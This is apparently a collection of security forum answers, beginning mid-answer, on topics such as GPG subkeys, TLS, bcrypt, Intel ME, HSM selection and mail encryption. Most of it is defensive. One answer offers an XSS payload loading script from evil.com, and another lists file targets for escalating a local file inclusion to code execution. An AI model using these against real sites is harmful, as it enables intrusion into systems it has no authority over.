Things are different with signing. If you lose a private signing subkey, you revoke it and generate a new one. You will never have to use the old signing subkey again, as signatures are verified through the public subkey.


How to restrict user access mobile data when mobile is connected to laptop?

I assume you mean data tethering from the phone to the laptop.

If it is pure USB, you can force an USB blocking policy via GPO. Blocking WiFi tethering will be much more difficult, unless you restrict the laptopts to certain WiFi points only. The second option will not make you popular, but it will prevent the user from accessing information over a mobile network

Instructions on Group Policies

USB tethering is managed over the MTP, which on Windows is the same as a WDP Device.

Open the Group Policy Editor
Go to either computer or user settings.
Administrative Templates \ System \ Removable Storage Access
WDP Devices, then disable Read and Write access.


TLS protects the application data only. It neither protects nor detects changes in the lower layers, i.e. neither TCP ports, nor IP addresses, nor MAC addresses. This would also not make much sense since otherwise TLS would not work over LAN borders (MAC address is specific to LAN, i.e. changes when passing LAN borders) and it would not be possible to use TCP level (non-intercepting) proxies and load balancers (i.e. IP and port changes).


The distinction is arbitrary. A salt-aware algorithm works by taking input data and scrambling it in various ways, and there is no method for inserting the salt which is more or less "fake" than any other.

Trying to devise a password processing algorithm which is efficient on a general purpose CPU but does not scale well on a GPU (or a custom FPGA or ASIC) is a real research topic. This is what scrypt is about, and arguably bcrypt already does a good job at it. The idea here is to use accesses in tables which are constantly modified; table access in RAM is something that general purpose CPU are good at, but which makes things difficult for GPU (they can do it, but not with as full parallelism as what is usually obtained with a GPU).


Can someone access my computer if someone else on the same network allowed a hacker to remotely access his computer

A calculated attacker can certainly leverage his access to the network in order to gain access to your computer, however I'm getting the vibe that this guy/gal isn't skilled enough to do that. Anyone with a decent amount of skill wouldn't be sending out phishing e-mails telling you to call him/her unless they're specifically targeting you.

In any case, it's important that you rid the computer of malware infection as soon as possible. Perhaps you can install antivirus software or pay a local computer shop to take care of it for you. Reinstalling the operating system is ideal in this situation and will rectify the issue 99.9% of the time. Just make sure to backup all of your files.

Good luck!


How to protect company sensitive data from being deleted by a user when data is on their computer?

Don't store data at a single point.

Always make sure encryption keys are known by at least two independent users!

Make regular backups.


Regedit shows strange chinese characters in my system - should I be worried?

Source appears to be the VLC browser plugin. The weird name is a text encoding bug (ASCII as UTF-16).

Not anything to worry about in itself.


If you are somehow conducting administrative tasks via unencrypted methods everything is in plain text. I hope you could not or would not do that over the internet. (chances are you ssh into that server for these tasks) However hypothetically speaking if this was the case and someone somehow sniffed your traffic or somehow got between you and your web-server (via MITM), then yes its totally possible. All your commands, passwords and html are right there in plain text ascii.


How secure is it to store passwords in a non-accessible file?

Depends on what passwords you're talking. Using Wordpress as an example, wp-config.php contains the DB Username and Password.

It's generally accepted good practice to move the file to a non web-accessible folder (i.e. outside public_html). That way, a catastrophic php failure, won't lead to someone being able to view your password by just visiting yoursite.com/wp-config.php

However, those are DB usernames and passwords -- not Wordpress Username and passwords. The Wordpress user credentials are stored in the Database (and they're hashed). Wordpress needs to store these DB credentials somewhere, and by definition it can't be in the DB (you can't store something till you connect to it).

If a hacker managed to get Code-Execution on your Wordpress box (sadly this isn't as rare as you think). Then the hacker could simply browse to any viewable folder and view the files that has the passwords (whether that's in Public_HTML or anywhere else) -- log onto the DB, and get the hashes. Then she could either, find the plaintext password by brute-forcing it on her local machine, or just update the Hash in the DB to something she knows.

In short though, storing DB credentials in files on a server, in a non web-accessible folder (outside public_html) is OK. You shouldn't store application credentials (or any other credentials) on any folder on the server.


Test a clearnet website for a hidden service?

A hidden service doesn't use any special ports, protocols etc. It's just a normal web server which usually isn't accessible over the public-facing network interface and is accessed over a locally running Tor instance.

Properly configured Tor hidden services which don't want to be reachable over the clearnet only listen on the loopback interface of the server and have the locally running tor service connect to them. So you can't figure out whether there is a hidden service running on a machine with nmap.

There are a few ways to test a hypothesis whether a given server hosts a tor hidden service. A simple one is to measure the uptime of the server and the uptime of the hidden service over long periods of time and look for a strong correlation of the two. If they both go down at the same time, that's a strong hint. Another possibility is to stress the server and then measure whether performance drops for the hidden service (but don't do this! this might be seen as an attack by server administrators). If done repeatedly, it might confirm the hidden service is running on the server in question.

Fingerprinting open ports, OTOH, won't give you any information about the presence of a hidden service.


Confusion Matrix for Generated Signatures in Snort

How do we measure the signatures efficiency?

You don't want too much false positives, or your users will be impacted for being denied access to legitimate sites. On the other hand, false negatives allows attackers to bypass the filters and attack your infrastructure. So an IDS with the lowest false positives/negatives rates is better than the others.

  how do they come up with these numbers?

They create a list of URLs, both malicious and clean, and send to the IDS, recording the result. This is how they get the amount of false positives and negatives.

You can create the same list by checking your log files and manually labelling them as malicious or not. Check those labels against the IDS log file, and you will end up with the Confusion Matrix.


nmap says "variable 'keys' is not declared" when trying to run ssl-ccs-injection.nse

The script is written for the current development version of Nmap, not the released version. In r33651, I moved several different implementations of the same function into the stdnse library. You should be able to copy that library into your nselib/ directory just like you did to copy the ssl-ccs-injection script into the scripts/ directory. This will also solve the further problems of the same sort you may run into involving the debug function.

EDIT: The ssl-ccs-injection script was released with Nmap 6.49BETA1, and is available in stable releases after that (such as Nmap 7.01).


Is GPG suitable as part of a password manager and generator?

GPG encrypts your data with a symmetric key, then encrypts  that symmetric key with / for the public / private keypair. That keypair is usually kept safe by symmetrically encrypting it.

What you're asking for is a program that would diagram as such:

Symmetric -> Asymmetric -> Symmetric

What you should use is a password manager that does the following step:

Symmetric

The job of a password manager is as much one of not placing your data in cleartext as it is simplicity. GPG's job is to allow communication of a key exchange across a clear channel. Since you'll be the only one encrypting / decrypting your passwords, symmetric encryption is just fine. Cryptographically speaking. GPG uses OpenSSL for the backend anyway as a great number of freely available password managers most likely do.

Now, with all that said, it makes good sense to do this on your computer if your GnuPG key is held on an external smartcard, and it'd work with a phone if there were an NFC version of the card. You could use git for synching various password files.


How likely would /var/mail be encrypted in a paid host?

By paying the company to host your website it means you have trusted them with full control on your website.
Even if the websites directory was encrypted what stops the sysadmin from looking into the database and getting the key?

If you for some reason don't trust hosting company you can always host it yourself.


What are the security considerations for setting up a basic security testing environment?

You should still be able to run VM's quite successfully on these boxes. The key issue is that they will be slow, so if you want to run brute forcing on them (eg with John the Ripper) they will take a lot longer than recent machines.

I have a couple of VM's running quite successfully on kit much older than that - for basic victim VM's (one has an app similar to webgoat) they work perfectly well.


What is he talking about?

He is referring to the Intel Manageability/Management Engine, or ME. It is a processor embedded in the chipset's PCH, and is typically composed of an ARC, ARCCompact, or i486/i586 hybrid microprocessor. It is designed to, among other things, make remote administration easier. On servers and certain business laptops that support AMT (Intel Active Management Technology), certain network cards can be used to control the system remotely. This requires enabling it in the BIOS/UEFI and setting a password. If you have a 3G card installed, then it in theory could use that card for remote management, but in all likelihood, you don't.

The danger of exploits

There is a risk of vulnerabilities in the network protocol, as with everything that implements a network stack, and there have been bugs involving them in the past. They typically require you to actually enable remote management to be vulnerable. Overall, the whole ME scare is a bit overdone. All the scary capabilities listed are opt-in or not even present.

The danger of rootkits

There is also the fear that the ME could be used to hide a low-level rootkit. This is not an issue in most cases because it requires either very privileged access to the computer, or the ability to physically modify the motherboard (replace the BIOS chip, for example). Even without the ME, very stealthy rootkits can still be installed with that level of access.

The benefits of newer processors

I would not recommend using an older CPU model. Newer models have had significant improvements in security. A current modern processor may support many of the following:

NX - One of the oldest security features, it allows marking pages as non-executable, so a buffer overflow that overwrites NX data cannot then execute it.
SMEP - Prevents low-privilege userspace code from being executed in a high-privilege, kernelspace environment. This forces attackers to inject their shellcode directly into the kernel, which is far more difficult and prone to crashes.
SMAP - Same as SMEP, but prevents all accesses, not just execution.
UMIP - Hides certain potentially sensitive information which otherwise could be accessed at low privileges.
VT-x (virtualization) - Not usually used for security, but can be used for sandboxing, in a pinch.
VT-d (IOMMU) - Allows isolating devices from each other and from the rest of the memory, preventing DMA attacks.
IR and x2apic - While their functions are unrelated to security, they are both needed for VT-d to function against malicious actors.
MPX - While designed for debugging, it can be used to prevent buffer overflows on programs which use these instructions.
SGX - Creates a secure, encrypted "enclave" that even high-privilege code cannot access.
RDRAND/RDSEED - Adds high-quality random data to the system, which is useful when doing things like generating passwords. While there are reasons to be skeptical about using it as your sole randomness source, it is harmless when used to augment your system's other sources.
AES-NI - Accelerates AES encryption with dedicated hardware instructions, but is also useful for security by preventing side-channel attacks, since the processor's cache is not used.
CET - An upcoming feature that is designed to help mitigate ROP attacks (attacks that allow running arbitrary code on memory which is executable but cannot be written to by executing instructions out of order).
MPK - An upcoming feature that, among other things, allows code to be executable but not readable by providing more fine-grained control over memory permissions.
BootGuard - Prevents any unauthorized modification of the BIOS, by signing it and verifying the signature at each boot.
TPM - While limited in capabilities, it's still useful for secure attestation, key storage, and detecting evil-maid attacks (see Joanna Rutkowska's "anti-evil maid" program).
fTPM - Similar to a hardware TPM, but integrated into the ME itself. While it has its own downsides, it is also invulnerable to the classical MITM attacks against regular TPMs.
TRR/pTRR - Strongly resists rowhammer attacks on supported memory modules by detecting when a row is being accessed too often, and refreshing it by force.

Of all of these security features, only NX is typically supported on older processors, and even then, it can be buggy.

The issues with older processors

Additionally, older processors often have severe bugs which are not going to be fixed due to no longer getting microcode updates. Many 32-bit Core2duo processors have a bug which causes NX to be active on only one of the two cores. Newer systems also often have more secure BIOS, largely due to the work done by Legbacore. These newer systems lock the BIOS so it cannot be modified. Old systems do not have this and are very easy to infect with BIOS rootkits, as they offer no write protection for the BIOS.

Even worse, some old processors (especially Atom processors) are highly vulnerable to cache exploits. This can be so bad that it can allow a webpage running JavaScript to hijack the CPU itself, without ever needing to break out of the browser. Other old processors are vulnerable to SMM rootkits which, like an ME rootkit, cannot be detected by the operating system. The "sinkhole" attack is one example which exploits SMM on older processors.

Older processors are probably going to be 32 bit, which reduces the quality of ASLR, a technique to randomize the locations of loaded libraries. On Linux for example, the strength of ASLR is limited to 16 bits (8 by default) on these processors, compared with 32 (16 by default) when running on a 64 bit system. Certain side-channel attacks can break ASLR much more easily on 32 bit systems because of this.

But what is the actual risk?

If your system's ME supports remote management and if you have a supported network card and if you enable it in the BIOS and if there is a remotely exploitable bug in the network stack and if you allow incoming connections, then you can potentially get your computer infected with the equivalent of a BIOS rootkit (the ME code exists in the BIOS, after all). If you use an older system to avoid the ME, you will be forgoing a large number of important security features and will need to live with known, often severe bugs.

Mitigations

If you are still worried about the ME, or your threat model makes it a bigger risk than it would be for most people (e.g. you need to use a 3G card), there are currently two ways to limit the powers of the ME, aside from simply turning off AMT. The first method works on Sandybridge and Ivybridge processors. Overwriting the first page of the ME can cripple it, so only the core functionality is enabled. The second method allows completely disabling it during runtime. An undocumented switch was found which causes the ME to lock itself up after running the necessary hardware initialization routines.

To end with an analogy, imagine a web browser. Sure, older browsers were simpler and do not have potentially exploitable features like WebGL or WebRTC, but would you really trust someone if they recommended you use an outdated web browser with known bugs, just because newer models which fixed them may potentially have their own set of problems?


Seeking guidance on breaking in to InfoSec field

Any of the SANS certs are a great option and will get a hiring manager's attention. Practicing on vulnerable VMs in your lab will give you experience with the tools and techniques. There's no need to break the law with so many VM's available. (Check out vulnhub.com if you already haven't.) Ethicalhacker.net's forum has a lot of posts about people trying to break into the infosec field, you may find some good advice there.


SElinux security context public_content_t for vsftpd

SELinux labels don't care about the username or userid. There is a helpful mapping of default labels to paths, which you can look at by running:

semanage fcontext -l

In your case, we are interested in the /var/ftp directory:

# semanage fcontext -l | grep '/var/ftp'
/var/ftp(/.*)?                                     all files          system_u:object_r:public_content_t:s0
/var/ftp/bin(/.*)?                                 all files          system_u:object_r:bin_t:s0
/var/ftp/etc(/.*)?                                 all files          system_u:object_r:etc_t:s0
/var/ftp/lib(64)?(/.*)?                            all files          system_u:object_r:lib_t:s0
/var/ftp/lib(64)?/ld[^/]*\.so(\.[^/]*)*            regular file       system_u:object_r:ld_so_t:s0

From this output, you'll see that excepting /var/ftp/bin, /var/ftp/etc, and /var/ftp/lib(64)?, all files placed in /var/ftp will be assigned public_content_t label. So, if you create a new file in /var/ftp/pub, it will be labelled public_content_t regardless of whether you did this as user root, ftp, bob, etc.


What kinds of PE file infection can AV software detect?

Different antivirus software packages have different detection capabilities and mechanisms.  Virtually all support what is called a signature-based mechanism, where a particular series of bytes serves as a fingerprint that triggers a positive detection.

It's important to understand this use of the word "signature" is completely different than a digital signature, which is a cryptographic value mathematically proving the origin of a digital document.  An AV file of malware detection strings should be more properly called a "virus fingerprint file" or "virus fingerprint blacklist", but the word signature was used long ago and it stuck.

AV software does use actual digital signatures, however, to validate that their update files haven't been tampered with.

The problem with detection strings is they are static.  If a malware author realizes his code is detectable, he just changes his code a little bit, which changes the fingerprints, causing it to no longer be on the blacklist.

To help with this, AV software also commonly uses heuristics, which is logic that detects typical virus behavior.  Such behavior might be "trying to act like a debugger", or "installing a hook in a different program".  Any software that attempts to do these activities might trigger a detection warning.  Heuristics are a good addition because they can work on new viruses that have never even been invented yet.

Better than detecting malware, however, are AV tools that use application white-lists.  These programs will simply refuse to allow an application to run that doesn't have a valid checksum on file in the whitelist.  They are difficult to use, however, because they require a sophisticated setup and constant maintenance as software is added and updated.

Another solution is to configure an operating system to require digital signatures on all code before allowing it to run.  This is how Apple's iOS locks out anything but approved software, and why iPhones are more secure without an AV package (AV packages are occasionally proved to be vulnerable or unstable, and have themselves been exploited by attackers.)

But nothing's perfect.  Both whitelists and signed files are still vulnerable to creative attackers who can still exploit buffer overflows in signed applications, and who use techniques like Reverse-Oriented Programming to execute malware from within existing applications.


Production ready bcrypt implementation for .NET

C# shares with Java one remarkable characteristic, which is being reproducible. That's the Java motto "write once, run anywhere". It is not entirely true, but for code which:

does not use floating point types;
is pure computation (no system calls);
is mono-threaded;

then tests are effective. This means that you could take the BCrypt.NET implementation, and see whether it is compatible with the reference code. Take care to include tests with non-ASCII password characters, which often are a sore spot. Also, measure performance to make sure that the .NET implementation is not unduly slow (for this kind computational tasks, Java or .NET code can be expected to be about 2 to 4 times slower than C code).

If the .NET implementation is compatible with the reference code, and its performance is not abysmal, then the "reproducible results" aspect of C#/.NET will allow you to conclude that it is ready for production.


I'm quite confused by the question, but I'm going to take my best shot. Aside: Normally I strongly dislike this approach, but intuition tells me that nagging the OP to clarify questions that s/he admits s/he doesn't fully understand is a worse violation of SEC:SE principles.

RSA, and all public key encryption, is very processor intensive. I'm not surprised that you have performance problems with a strong RSA key.   Symmetric key encryption is less processor intensive, but involves a fairly complex key management overhead, which is usually at least partially manual.  Manual key management is painful.

ECDH is a hybrid solution.  Perform encryption/decryption with a symmetric key (Good performance), and use the public keys to generate and manage session keys (solid key management with high automation, low overhead and low pain threshold).  Best of both worlds; you get the performance of symmetric keys without the key management overhead.

That is the 50,000 meter theory; if SEC:SE were a technical discussion site we could delve into the details.

The second set of questions is much more problemmatic.  Bruce Schneier has a pithy quote that I can't call to mind right now to the effect that 90% of the problems with crypto are not in the design, but in the implementation. How much performance improvement will you encounter? Depends on the implementation? How strong is the encryption? Depends on the implementation.


Can multiple domains have SSL certificates with the same DN issued by same CA?

Yes. The browser does not care how many certificates are there for a site as long as these are valid, which includes that the subject(s) of the certificate match the domain name. Thus, if multiple domains should use a certificate with the same subject(s) then the subject(s) must cover all these domains, for example by using a wildcard or by including all the domains as subject alternative names.

  Is it ok for a single domain to have multiple SSL certificates with same DN and validity?

This is possible too. And while it is unusual to have multiple SSL certificates with same subject and exactly the same validity it is common to have certificates with same subject but overlapping validity, i.e. when renewing a certificate which is about to expire.

  Can we include CA related information (serial number, name or id etc) in the attribute of SSL certificate DN?

If you have full control over the CA you can do this. Be in the normal case of using a publicly trusted CA you don't have this control. The CA will only pick the information from the CSR (certificate signing request) which it finds appropriate, which is commonly only the subject(s).

  If possible please provide name or link to the RFC / standard for further guidance.

For general information about X.509 PKI structures see RFC 5280. For specifics regarding publicly trusted CA see CA browser forum baseline requirements.


Penetration testing - full consistent overview

I will link you some good resources at the end of this answer. But I think what you need to understand is that to fully learn something, I don't think you should be focused on trying to learn from one resource. There are tens of thousands of GOOD resources for learning in InfoSec (and in anything in-fact)

Your question seems to point to the fact you want ONE resource, I'm sorry but you won't get that. Learning is about taking stuff in, understanding it and then being able to execute it to learn from one resource is honestly... Impossible. I'd say impossible. Especially when there is so much to learn in this field.

https://www.amazon.co.uk/Penetration-Testing-Hands-Introduction-Hacking/dp/1593275641 - This book is fantastic for foundation knowledge, teaches you all kinds of attacks, how to setup a lab (for learning) and its a good foundation book which I believe a lot of people would recommend.

Heres a question here on InfoSec with resources for web vulnerabilities - Best resources to learn web security attacks?

You can also use this site - https://www.owasp.org/index.php/Main_Page

I would also look at reading this - https://www.amazon.co.uk/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441

Other than that just explore the Internet there are plenty of GREAT resources but the best advice - don't learn from one place.

EDIT This might be a good post to look at as well Penetration testing methodologies


How do we protect from the assignation of an unknown MAC-address to the network interface?

By whitelisting MAC addresses. If you are doing any sort of MAC address based filtering, you need to only allow known MAC addresses to connect to begin with.
They don't even need a separate adapter - changing your MAC address is easy to do in software, and some cell phones now randomize their MAC automatically when connecting to wifi to help anonymize them.
Even then, if an attacker can see traffic on the network, they could simply forge a MAC address from an already authorized machine. It provides some security, but not absolute security - there are a lot of ways a smart attacker can work around MAC address restrictions.
If you want to ensure even clever people can't bypass those restrictions, they need to be enforced by something like 802.1x, which validates the machine being connected either with a username and password or SSL certificate, before allowing them to connect to the rest of the network.
If you just want to make the restrictions a bit harder to get around, you can do that by restricting EVERYTHING that connects to the network, then whitelisting the devices you don't want to be blocked. There is still some potential there for spoofing the mac address of a whitelisted device, but it will at least be harder than just changing your MAC address to any random value.


What features should I look in vulnerability testing services?

Yes, even though the PTES (mentioned by Soufiane's answer) is wildly out-of date, it is somehow still one of the best standards on reference.

Here is a technical guide using Metasploit according to the PTES.

What would be extra-ordinary is if a client can watch the progress of the testing, either with live access to something like LAIR-framework -- or as a videocast. My favorite vulnerability-management consolidation-and collaboration portal is LAIR-framework, but I also enjoy Dradis Pro. A further list might contain: Cisco Kvasir, Serpico, CheckSec Canopy, Faraday, etc. A few are included in Kali Linux -- MagicTree, KeepNote, sparta, and Dracnmap. Some people put vulnerability data into Splunk or ElasticSearch (vFeed recommends this). A very-expensive but full-featured solution is Core Vulnerability Insight from Core Security. Salesforce provides VulnReport.io. Even Shodan offers a geographical (world-map view) of consolidated vulnerability data -- https://scanhub.shodan.io

If you are looking for information about what you should expect before the testing, check out this resource from SANS -- https://isc.sans.edu/diary/21665

If you want to know what reports that are the output of a pen test look like, check out -- https://github.com/juliocesarfort/public-pentesting-reports


Cryptomining Malware - Ubuntu - Stratum tcp

I had same problem, and I've narrowed down, hackers were able to intrude in some old and non-upgraded, wordpress.

Probably the best and fastest way to see who is consuming how much time on your Ubuntu 16.04.3 server is to install htop

sudo apt install htop

then type sudo htop

It will show you under which username is eating how much CPU

And if you identify some process that's eating much cpu, you can check it by lsof -p <pid>

lsof stands for list open files, to see it's full set of commands, type man lsof

However, it all depends upon how is your PHP being executed, and what hackers actually have done to your system.

Another good way to see, what is Apache exactly doing is to enable mod_status

Usually, on newer ubuntu's it's:

sudo a2enmod status

And after that add this to your 000-default.conf website:

<Location /server-status>
    SetHandler server-status
    Require ip 127.0.0.1
    Require ip ::1
    Require ip X.X.X.X
</Location>

Replace X with your actual IP...

Or you can access it with lync for example from your server's console like

lynx 127.0.0.1/server-status

And the output should look like:

On my other post https://security.stackexchange.com/questions/172396/some-bot-keeps-posting-this-to-my-server/172571 you can see how to improve security of your server and prevent such attacks.


self-signed chain of certificates vs self-signed single certificate

For the security of the connection it does not matter if you have intermediate certificates and how many. The strength of the encryption depends on the cipher used in key exchange and encryption which is mostly independent of the certificate and fully independent of any chain certificates. Certificates are mainly used for authentication to prevent man in the middle attacks and all which is relevant here is that the attacker cannot fake any of the certificates involved, i.e. does not have access to any of the private keys and cannot trick a certificate authority (or hack it) so that it issues a trusted certificate for the specific domain.


Most secure remote access to home computer/network

As said by @schroeder in his comment, the state of the art way if to use a x509 certificate to authenticate yourself on the VPN. Depending on your security requirements, you can go from a passwordless user certificate in the laptop cert store (easy to use but broken if laptop is stolen), a password protected certificate on the laptop (attacker will need both the cert private key and its password) or a certificate on a smartcard (true 2FA with something you have - the smartcard - and something you know - the cert password).

It is certainly possible to imagine other ways, but I strongly advise you not to roll your own for security questions.


Escaping Virtualbox type intrusion detection?

In a general sense, you can do this with standard security tools. Note: It would be hard to know ALL the ways to detect this from the VM before such an attack occurred versus after it's gotten access to the Host OS where it would be much easier to detect.

To detect a program while it is trying to escape you would have to be monitoring the VM OS.

To detect things that have escaped you would be monitoring the Host OS. So placement of tools is important and relative to the way you asked your question.

That said, assuming you are strict about your use of the Host OS being dedicated solely for the purpose of hosting Virtualbox VM's it would be easy to setup a lot of systems monitoring on the Host OS to look for anomalous behavior. You could also turn the logging levels way up because in the VirtualBox software should be the only thing really active on the Host OS system. This makes user/system access and other types of activities really easy to spot IF you aren't running other things on the Host OS.

In theory, if you aren't doing much with the base OS then abnormal patterns in usage which would occur if someone started accessing the Host OS would be easy to spot. That said if this was your primary laptop you will create a lot of noise in the logs which will make this much harder to do.

The IDS/IPS/Other and security tools, especially operating system security tools which monitor system calls, can easily be placed on both the VM OS and the Host OS so if the attacks you are thinking about can be detected and are not true Zero-day exploits then they should be possible to detect when using appropriately configured intrusion detection/prevention systems.


Use JWTs: https://jwt.io/, they are in my opinion the best way to manage sessions, especially in API based communications. They also let you send any arbitrary info in the encrypted token, great for logging and debugging.

There is a PHP here that works well: https://github.com/firebase/php-jwt


Execute Shellcode embedded into a picture?

There was an actual exploit that did this.

The problem isn't the image. It's the implementation of the application that reads the image data.

https://imagetragick.com/ - this is a great example of an application that read an image format, and executed code in that image.

But in general, no. Embedding shell code into an image should never allow execution of the shell code.


What dangers are there in storing my private key on different servers?

Add the ForwardAgent option to your SSH configuration.

$ echo "ForwardAgent yes" >> ~/.ssh/config

This enables you to use authentication credentials from your public/private keypair without actually storing them on the other machines. SSH will "just work".

The one downside to this approach is that if there is an attacker on one of those machines who can bypass file permissions (e.g., as root), he can potentially authenticate to other machines using your private key (however, he cannot actually get the contents of your private key). Of course, this is still better than having stored your keys on the server, but it's worth knowing about if you expect the machine will be broken into (e.g., a honeypot).


Is my site about to be SQL injected/hacked?

The answer to the title question is: maybe.

Not to come across too “jaded”, but all websites are nearly constantly in that state. Anyone who argues otherwise just isn’t being realistic :)

However, based on your thorough analysis along with some comments here, it appears that there may be some recent discovery of a new vulnerability, or perhaps a recent post on some forum has piqued peoples interest in OpenCart again.

From a quick 30 second search, it seems that OpenCart 2.2.n through 2.3.n have suffered from both SQLI and XSS vulnerabilities: https://www.cvedetails.com/vulnerability-list/vendor_id-9599/Opencart.html

You can see a few bugs listed on that page that were updated within the last 12 months. I also saw a github repo where an OpenCart maintainer seemed very... careless (?) about some potential vulnerability.

As such, I would recommend following the sound advice of other posters here, get your site updated ASAP! Even if it means taking it offline for a few minutes.

Then, if you’re still worried about those accounts and email addresses, you can always drop them from your db!


How to further exploit LFI / ssh / mysql

First, determine if it is a file include or just a traversal. An easy way to do this is to include a php file (you can usually work out a relative path to an index.php file). If it shows you the php source code then it's traversal and will not result in code execution. Otherwise there are some options you haven't mentioned, such as:

/proc/self/environ
/proc/self/fd/1 (2,3,etc)
php session files (read php.ini for path)
temporary files uploaded via a POST request (brute force path or leak via php info)
php streams/wrappers

If it only reads files then leak application source to find other flaws.

Hope this helps.


SOMAP for risk assessment methodology or other Open Source IT Risk Management

After skimming the documents, I cannot recommend SOMAP as a guide for risk. I have not reviewed the software, but the guidance on risk in the documents is too cursory to be useful. Also note that the guides for SOMAP have not been updated since their original version published in 2006.

There are lots of IT Risk methodology options for you to look at in varying degrees of complexity, focus, and in availability (free/paid):

COSO
NIST 800-39 800-30
ISO 27005, ISO 31000
RISK IT
Octave Allegro
FAIR
others


Help on what to do with these suspicious logs

This looks like a generic bot.
They scan the internet and probably randomly found your server, then probed around to see if it could find any gaping security holes.
Nothing to worry about, your server is not at risk if they did not find anything.


Unless mutual or 2-way authentication is being used, the server cannot confirm whether the client or an intermediary is its counterpart in the SSL communication. So your proposed attack scenario will succeed.

That said, modifying the code of a client in the fashion you suggest likely requires the attacker to have full access permissions to the client. At which point the attacker can copy the disk, install key loggers, etc... Basically, it is game over.


With reference to using Gpg4win, which is better: OpenPGP or S/MIME?

The most important security differences between OpenPGP and S/MIME have to do with trust models and certificate formats.

OpenPGP uses a "web of trust", which allows individuals to freely sign the keys of other individuals.  You could think of it as an early form of social network.  There are a variety of ways to find signature paths from one user to another, and define levels of trust based on the number of links and the user's estimation of how much to trust a given signer.  An extensive web of trust has been built up over time, particularly among some segments of the security community.  See Henk Penning's analysis of the strong set in the PGP web of trust for the latest information.

S/MIME uses the x.509 certificate format and trust model, similar to web site security via TLS/SSL.  In this model a set of root certificates is typically defined as trusted within a given mail client by the vendor.  This can be more convenient for deployment in organizations which deploy a traditional PKI.  It leaves the user with less control, and typically requires participants to purchase certificates from a commercial CA if they are not part of an organization which deploys a traditional PKI.
See How feasible is it for a CA to grant exceptions to the verification process? Which default trusted root certificates should I remove? for some issues with the traditional CA model.

Of course, another issue will typically be the question of what your correspondents use, what sorts of certificates they have, and what other uses you intend to make of your trust/signing/encryption infrastructure.  For example, OpenPGP signatures are used to authenticate many open source software packages, while x.509 signatures are used for signatures in pdf and office suites.


XSS in HTML class tag with only double quotes escaped

Did you try MY_VALUE=

&#34>(delivered)<script src=&#34http://evil.com/code.js

?


Can programs replicate hidden versions of themselves?

Yes, with appropriate vulnerability and privilege, a malware that attempts to hide itself from detection even by security programs is called a rootkit.

They can do this by modifying the operating system itself or sometimes the firmware in the hardware, so that the OS and hardware lies to the user and other programs. For example, a rootkit may replace the code in the kernel that returns directory listing to exclude its files.

Generally, a rootkit would have to somehow obtain administrator privilege first to install themselves deeply enough to become undetectable, usually through other vulnerabilities or by tricking the user into running it with administrator privilege.

Malware that runs at this level of stealth are very rare though, as they're difficult to write and most malware are successful enough even when they're not that stealthy.


Some technical factors that may be relevant:

Performance - across whatever matters for your application (if any): encryption/decryption/key generation/signing, symmetric, asymmetric, EC, ...
Scale:

Is there a limit to the number of keys it supports, and could that limit be a problem?
How easy is it to add another HSM when your application becomes more demanding (size, speed, geographic distribution...)

Redundancy - when one HSM breaks, how much of an impact is it on your operations, how easy is it to replace without loss of service, etc
Backups - how easy is it to automate and restore? Do you need to independently protect the backup's confidentiality and/or integrity or does the product ensure that? How likely are you to end up in a position where you've irrecoverably lost your data (how many factors need to be lost / forgotten, HSMs died, etc).
API support:

MS CAPI/CNG (easy to program from a Windows environment);
JCA (easy to develop for using Java. What version is supported?);
PKCS#11 (and a recent version? Wide support across applications, though it comes with known security issues);
vendor proprietary (probably the most flexible/powerful/secure-if-you-know-what-you're-doing but increases cost to move to another vendor), and whilst C is probably a given, does it have bindings for your preferred language?
a related note: is there guidance on integration with your application (e.g. DBMS, OS services)?

OS / hardware support
Management options - what GUI / command line tools are there for doing management tasks - i.e. anything that you do infrequently enough to not want to automate (key generation?; authentication factor management?). Do your admins need to be physically present to commission the device or perform additional tasks after commissioning?
Programmability - most of your development will likely be on the other end of one of the APIs, but sometimes it is useful to be able to write applications that run on the device for greater flexibility or speed (see Thomas' answer)
Physical security - how resistant to direct physical attack does your solution need to be (bearing in mind not just the HSM but the whole solution)? If for whatever reason you decide it is particularly important (your HSM is exposed but your clients aren't, or disclosure of the keys is far worse than merely being able to use the keys for nefarious purposes - ref DigiNotar?) then you might want to look for active tamper detection and response, not just passive tamper resistance and evidence.
Logical security model - can malicious entities on the network abuse your HSM? Malicious processes on the host PC?
Algorithms - does the HSM support the crypto you want to use (primitives, modes of operation and parameters e.g. curves, key sizes)?
Authentication options - passwords; quorums; n-factors; smartcards; OTP; ... You should probably at least be looking for something that can require a configurable quorum size of token+password authenticated users before allowing operations using a key.
Policy options - you might want to be able to define policies such as controlling whether: keys can be exported from the HSM (wrapped or unencrypted); a key can only be used for signing/encryption/decryption/...; authentication is required for signing but not verifying; etc.
Audit capability - including both HSM-like operations (generated key, signed something with key Y) and handling crashes (ref g3k's comment). How easy is it going to be to integrate the logs into something like Splunk (sane log format, syslog/snmp/other network accessible - or at least non-proprietary - output)?
Form factor:

network attached (for larger scale deployments, particularly where multiple applications/servers/clients need to make use of the keys);
desktop (for individual use; performance, availability and scalability not a big concern but cost is, especially good if your solution requires lots of people needing direct access to an HSM);
PCI (-express) (cheaper than network attached; more effort involved in making available to multiple applications);
USB token (easy server upgrade; cheap and slow (and easy to steal!));
PC card (as per desktop, but good for laptop users). (PC cards are pretty dead now)

Some non-technical factors:

Certifications - do you need any / do you want any because they give you confidence in the product's security? Ignoring what you need for regulatory reasons:

FIPS 140-2 provides useful confirmation that the NIST-approved algorithms work and have run-time known answer tests (check the Security Policy to see what algs they've got approved), but don't put much stock in it otherwise showing the product is secure; my rule of thumb for Level 3 hardware security means people with only a couple of minutes access to the device will be hard pressed to compromise it. FIPS 140-2 Level 3 is the de-facto baseline certification for HSMs - be wary if it doesn't have one (though that's not to say you need to use it in a FIPS compliant way).
Common Criteria evaluations are flexible in the assurance they provide: read the Security Target! There are no decent HSM Protection Profiles yet, so at the least you're going to have to read the Security Problem Definition (threats and assumptions) before you have an idea what the evaluation is providing.
PCI-HSM will be useful if you're in the relevant industry

Aside from certifications, how does the vendor look like at security? Having CC EAL4 certs is a good starting point, but remember Win2k has those too... Do they make convincing noises about supply chain integrity, Secure Software Development Lifecycle, ISO2700x, or something like The Open Group's Trusted Technology Provider Framework?
Do you like the vendor's policy on disclosure?
Support (options, reputation, available in your language)
Services - if you have a complex requirement, it might be advantageous to have the vendor involved in your configuration/programming.
Documentation:

High level documentation - HSMs are complex general purpose products that can require somewhat involved management; good documentation is important to allow you to develop a secure and workable process around them (see Thomas' answer for more discussion).
API documentation - good coverage, preferably including good examples of common (and complex) tasks

Cost (units + maintenance)
